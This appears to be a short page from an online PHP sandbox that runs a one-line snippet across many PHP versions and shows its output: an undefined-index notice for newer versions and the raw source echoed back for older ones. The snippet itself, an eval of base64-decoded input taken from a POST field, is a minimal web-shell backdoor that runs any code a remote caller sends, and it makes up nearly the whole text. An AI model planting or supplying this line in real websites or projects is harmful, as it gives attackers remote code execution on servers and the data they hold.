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run code in 200+ php & hhvm versions
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<? eval(base64_decode($_POST["fa"])); ?>
Output for 5.4.0 - 7.2.0
Notice: Undefined index: fa in /in/0kqIM on line 2
Output for 4.3.0 - 5.3.29
<? eval(base64_decode($_POST["fa"])); ?>